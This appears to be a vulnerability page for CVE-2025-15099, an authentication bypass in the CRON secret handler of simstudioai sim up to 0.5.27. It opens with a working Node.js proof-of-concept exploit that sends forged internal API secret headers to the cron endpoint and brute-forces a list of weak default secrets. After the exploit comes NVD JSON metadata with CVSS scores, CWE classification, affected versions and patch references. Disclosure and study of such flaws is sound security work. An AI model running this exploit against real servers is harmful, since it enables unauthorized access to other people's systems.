CVE-2025-15099

// CVE-2025-15099 PoC - Authentication Bypass in simstudioai sim // Target: simstudioai sim < 0.5.27 // Component: CRON Secret Handler (apps/sim/lib/auth/internal.ts) // Attack Vector: Manipulate INTERNAL_API_SECRET parameter const axios = require('axios'); // Replace with target URL const TARGET_URL = 'http://target-server:3000'; // Try to exploit the authentication bypass async function exploitCVE202515099() { console.log('[+] Attempting CVE-2025-15099 exploitation...'); // Method 1: Direct manipulation of INTERNAL_API_SECRET const exploitPayload = { secret: 'manipulated_secret_value', action: 'trigger_cron' }; try { // Attempt to bypass authentication const response = await axios.post( `${TARGET_URL}/api/cron/internal`, exploitPayload, { headers: { 'Content-Type': 'application/json', 'X-Internal-Api-Secret': exploitPayload.secret }, timeout: 10000 } ); if (response.status === 200) { console.log('[+] Authentication bypass successful!'); console.log('[+] Response:', JSON.stringify(response.data)); } } catch (error) { console.log('[-] Request failed:', error.message); } // Method 2: Try common default/weak secrets const commonSecrets = ['internal', 'secret', 'api_key', 'cron_secret', '']; for (const secret of commonSecrets) { try { const resp = await axios.post( `${TARGET_URL}/api/cron/internal`, { action: 'trigger_cron' }, { headers: { 'X-Internal-Api-Secret': secret } } ); if (resp.status === 200) { console.log(`[+] Found valid secret: ${secret}`); } } catch (e) { // Continue trying } } } exploitCVE202515099(); // Note: This PoC is for educational and security testing purposes only. // Always obtain proper authorization before testing any system.

{"cve": {"id": "CVE-2025-15099", "sourceIdentifier": "[email protected]", "published": "2025-12-26T04:15:40.347", "lastModified": "2026-04-29T01:00:01.613", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability was identified in simstudioai sim up to 0.5.27. This vulnerability affects unknown code of the file apps/sim/lib/auth/internal.ts of the component CRON Secret Handler. The manipulation of the argument INTERNAL_API_SECRET leads to improper authentication. It is possible to initiate the attack remotely. The exploit is publicly available and might be used. The identifier of the patch is e359dc2946b12ed5e45a0ec9c95ecf91bd18502a. Applying a patch is the recommended action to fix this issue."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L", "baseScore": 7.3, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 3.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "baseScore": 7.5, "accessVector": "NETWORK", "accessComplexity": "LOW", "authentication": "NONE", "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "availabilityImpact": "PARTIAL"}, "baseSeverity": "HIGH", "exploitabilityScore": 10.0, "impactScore": 6.4, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-287"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:sim:sim:*:*:*:*:*:*:*:*", "versionEndIncluding": "0.5.27", "matchCriteriaId": "7D4229C2-06A9-440F-8C6E-420857666499"}]}]}], "references": [{"url": "https://gist.github.com/H2u8s/c533741e1b36f6245d41cace89a7f4d2", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://gist.github.com/H2u8s/c533741e1b36f6245d41cace89a7f4d2#-steps-to-reproduce", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://github.com/simstudioai/sim/commit/e359dc2946b12ed5e45a0ec9c95ecf91bd18502a", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/simstudioai/sim/pull/2343", "source": "[email protected]", "tags": ["Exploit", "Issue Tracking"]}, {"url": "https://vuldb.com/?ctiid.338430", "source": "[email protected]", "tags": ["Permissions Required", "VDB Entry"]}, {"url": "https://v ... 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